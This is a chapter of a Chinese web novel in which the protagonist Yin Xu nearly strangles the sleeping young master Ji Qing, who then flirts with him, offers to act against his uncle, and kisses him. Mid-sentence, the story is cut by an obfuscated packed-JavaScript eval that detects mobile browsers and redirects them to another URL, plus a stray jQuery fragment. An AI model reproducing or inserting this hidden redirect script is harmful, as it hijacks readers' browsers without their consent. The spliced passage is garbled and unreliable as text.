8. 咸鱼少爷(八)

作品:《咸鱼炮灰后阴郁主角火葬场了

    房门大开,给陷入黑暗昏沉的卧房带来了冷白色的微光,一个瘦削人影就站在光与暗的交界处。


    他穿着宽松的居家服,带着微卷的纯黑色发丝贴在他颈间,透出一丝沉静雍容的味道。


    他静站在原地,视线聚焦。


    被子隆起了一小团,正贴着床沿呼吸起伏,只露出半张精致的小脸。坏脾气的小少爷此时睡得很沉,显得很乖的样子,一点也看不出平日的跋扈。


    透明小蛇浑身炸毛,不明白为什么门锁在这个人面前毫无作用。


    尽管它知道自己是隐形的,尽管它知道尹绪已经失去了所有有关时空管理局的记忆,只当自己是这个世界的一个普通人。但与那双绝对锋利的眼眸对上之时,系统还是有一种“被看穿”的诚惶诚恐。


    它只能眼睁睁看着尹绪越走越近,站在床头仔细端详了一会,神色晦暗不明。他的眸光很亮,仿佛吸走了整个空间的照明,只剩下一盏深绿色的眼瞳幽幽燃烧。


    而熟睡的人对此一无所知,只是伏在被子里规律地呼吸着。


    尹绪对着这张漂亮脸蛋研究了片刻,得出毫无攻击性的结论。他抬起膝盖,单腿跪在床边,俯下身,冷白手指离纪青的脖颈俨然只有一寸之隔。


    那里细致温暖,有青色的血管在跳动。


    心跳,生命最为宝贵的东西。脆弱的生物只要被拧断脖子,那些微弱的、悦耳的跳动便会停止。在纪家接受训练的那些日子里,尹绪无比深刻地记下了这一点。


    在那里他遇见过一些很鲜活的生命,因为他们卑贱的身份,下一秒就变成惨白的死肉。


    那些难以言喻的悲哀就像污泥,张牙舞爪将他灌透。有时尹绪无法分清这究竟是怜悯还是兔死狐悲,只记得最初的自己常在黑夜里哭泣。黑夜那么漫长,好像天永远不会亮起来。


    与那些不幸的人相比,他的运气很好。他越爬越高,连魔鬼般的家主都很信任他。他能有机会接触到那些惨剧的始作俑者——那些天生高人一等,漠视一切甚至将法制也随意践踏的贵族。他必须得低下头装作微笑,才能藏起眼中的阴暗。


    否则这些贵族将会看到尹绪对于拧断他们脖子的渴望。


    尹绪不知道自己这股冲动从何而来,只觉得像是他骨子里就带来的,不需要任何教诲,或是契机。


    是他生性嫉恶如仇,又或者是他天生就有暴虐的基因,与正义无关?


    尹绪有力的手掌覆在那节雪白的、无知无觉的脖颈上,指尖缓缓收紧。


    为什么。


    尹绪歪了歪头,瞳仁在高速思考中微微颤动,想要逐条分解自己内心的异样。


    曾经他以为自己痛恨每一个与纪家相关的人,只要那些人的脖子送到他的手下,他就可以毫无负担地拧断。


    眼前这个昏睡着,被家里人宠坏了的、总是行事乖张,肆无忌惮的小少爷无疑属于其中的一个。


    但恰恰相反,尹绪却在感觉到手底下微弱细碎的挣扎时,有种不愿继续的冲动。


    一定是因为他太脆弱,又太没用,连吹几分钟的风也会把自己弄得高烧。除了聊些空虚的风花雪月之外起不到任何的作用。尹绪头一次生出“放弃利用纪青”的想法。


    但他还有些迟疑。


    与此同时,透明小蛇无声地尖叫!


    大数据与眼前的现实正在它脑中打架,尹绪不应该是一个励志坚强正义善良保守迫害的小白花吗?他为什么会露出这么恐怖的眼神啊!


    咸鱼你醒醒啊!!


    “嗯……”


    熟睡中的人似乎察觉到了异样,发出轻微挣动,眼睫也颤了颤,似乎即将睁开。


    尹绪丝毫不见惊慌,也并不躲避,神色淡然仿佛早就在内心预演过这一幕的发生。


    于是当纪青从沉梦中醒来,看到的就是这样场景——


    黑发绿眸的瘦削青年近乎坐在他身上,遮住了他大半视线,墨发垂落在脸上和他自己的金发打着架,勾起淡淡的痒意。


    纪青不得不偏头看了一眼天花板,以确认自己依旧好好地躺在床上,而不是睡着睡着就梦游去性骚扰别人了。


    更别提脖子上纹丝不动的冰凉指尖,颇具存在感。


    “你醒了。”尹绪好像查房的医生一样权威,摸摸他的额头,不带感情,“感觉怎么样。”


    混沌的意识逐渐回笼,纪青这才将眼前这张俊美的脸和人对上号。想起来自己此行的目的以及诸多细节。


    眼神逐渐聚焦,灰眸终于恢复清明,如同水洗。


    “好了。托你的福,病已经全好了。”他丝毫不掩饰自己睁眼说瞎话的本质,反正尹绪多半已经识破他了。


    纪青微微一笑,抬了抬酸软的胳膊,把它从被子里抽了出来。手掌出其不意,毫不费力地拢住了脖子上黏着的那只手。


    尹绪眉心一动。


    尽管那手有些抗拒的意思,纪青还是成功引着它离开自己的脖颈,一路往下,停留在温暖结实的胸口。开口低沉,带了点刚醒的慵懒睡意,责怪那只手的不得要领:


    “宝贝是来查房吗,这里才是肺。”


    纪青笑了,笑得很是得意,尹绪便压得更近了些,让他笑不出来:“不是说不疼吗?”


    纪青收了神色,很有耐心地回答:“嗯,所以只是让你摸摸。”


    尹绪没有再说话。但纪青怎么会错过他一瞬间的动摇,当下就拉着人不让走,浓密的睫毛像小扇子,投下一片居心叵测的阴影,还带着暧昧的吐息:


    “尹先生这么关心我,是不是早就爱上我了?”


    尹绪的瞳孔颤了颤,甚至带上了点瘆人的黑,语调古怪地重复:


    “我爱你?”


    他一直试着分析自己的异样,却从来没想过这个答案。


    纪青却很轻松,撒娇似地抓着他手,指节亲昵地蹭着:“对啊,我都看出来了。你不用害羞,我这么好看,喜欢我也很正常。这么多人都喜欢我呢。”


    如此荒唐的话从他嘴里说出来,却不像自吹自擂。


    尹绪在他的灼灼目光中,思绪也混乱了起来,“害羞”地点了点头。


    纪青甜蜜一笑,觉得此时此刻搂搂抱抱的气氛正好,当即吐出了渣男的经典台词:“我就知道。我也喜欢你——你以后跟着我,我会对你好的。”


    他讲得这样轻易,同样的承诺情到浓时不知道曾给了多少人,为这份缱绻深情的慷慨打了骨折。尹绪根本不相信这种废物少爷能负什么责,混乱成一团的心神反而定了定。


    倘若有天这位少爷能知道天高地厚,知道什么人能惹,什么人不能惹了,他才要奇怪。


    尹绪面带冷笑,带了些恶意,不紧不慢地问:“那你知道我为什么每天只能呆在庄园里……”


    “我知道啊……”纪青打断他。


    他将手指放在唇边做了噤声的手势,目光斜斜指向门边。


    从这间卧房门口出去,再转过一个弯,就是掌控着整个家的主人的卧房。天色已暗,那个说一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271052|166630||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不二的男人已经歇下,为明日即将到来的远行养精蓄锐。


    但若是他们闹出太大的动静,还是会被多疑的男人听见的。


    纪青笑眯眯地玩着尹绪的手指,绕啊绕,把声音压得低低的:“叔叔对你不好,他只是想控制你,他一点也不爱你。我就不一样了。”


    他话音一转。


    “我那么爱你,我什么都愿意为你做的。哪怕你要天上的星星我也去摘。哪怕你要我去杀人放火,比如给我叔叔——”


    尹绪的呼吸终于乱了一瞬,捂住他乱动的嘴角,神色难辨,低斥:“这也是能乱说的?!”


    纪青在他掌心偷偷地笑,死鱼一样安详的心头火热了片刻。


    话都说到这个份上了


    快来利用他吧——


    像个蛇蝎心肠的反派一样柔柔一笑,不答应也不拒绝,就这样吊着痴心的追求者。玩弄你的手腕,让小少爷心甘情愿地为你跑东跑西,将家族的未来拱手奉上。


    然后升级,然后复仇,然后龙傲天,然后任务完成!!


    纪青仿佛已经看见回家的飞船票在向他招手了。


    “那你叔叔呢?”尹绪嗓音低哑。


    纪青简直怀疑自己的耳朵:


    “什么?”


    “我跟了你,你不怕你叔叔生气?”


    原来不是有旧情,而是让他站队。


    那好办。


    纪青恍然,凑上去咬了咬尹绪的耳垂:“那个老男人,我可不管他死活——”


    死了最好。


    还未出口,胸突然前传来一股力道,将他狠狠推倒,后半句狂言只能含糊地混在一起。纪青一向是在哪里跌倒就在哪里躺下,就这么扑通一声往后倒在柔软的床铺上,面对面的是尹绪压在他身上放大的俊脸,碧绿瞳孔中倒映着自己衣冠不整的样子。


    “你叔叔养了你,也是他的福气。”尹绪摸了摸他的脸。


    纪青看他面无表情的样子,不由地笑:


    “你答应我了?”


    尹绪直勾勾地盯着他翕动的淡色唇瓣,胸口那股戾气平静地滋长,却无法爆发,此前从没遇见过这样的境况,好像冰冷的火焰在炙烤。


    于是他选择主动吻住了那张动个不停的嘴,撬开紧闭的齿关,舌尖与舌尖湿润地追逐。


    退出来时,尝到了血腥味。


    尹绪无数次尝过自己的血,有时候是手指被刀刃割开,有时候是被他自己咬得血肉模糊。


    他从来没有尝过别人的血,哪怕飞溅到脸上他也会厌恶地擦洗好几遍。


    好奇怪。


    现在他闻到了甜味。


    纪青不明白尹绪为什么叼着他后颈那块软肉不放。这动作有点像舔咬腺体,可是这个世界观里又没有腺体。


    那这算什么?肌肉记忆吗?


    纪青吸着气,捏了捏尹绪背后的蝴蝶骨,从上到下地顺毛:


    “宝贝,松嘴。”


    尹绪似乎不满意这个称呼,但还是迟疑着松了口,和他躺在一起。纪青绕到背后去摸了摸,好深一个牙印。


    “嘘。”


    尹绪做了个手势,按住他的唇,防止他发出不该有的声音。


    近距离的看,才知道这双眼睛染上情欲是什么样子。纪青被雾蒙蒙地盯着,后颈幻疼了一下。


    他知道尹绪在想什么:


    “叔叔什么时候出门?”


    而尹绪有一下没一下地摸着他的脸,低低回答。


    “明晚。”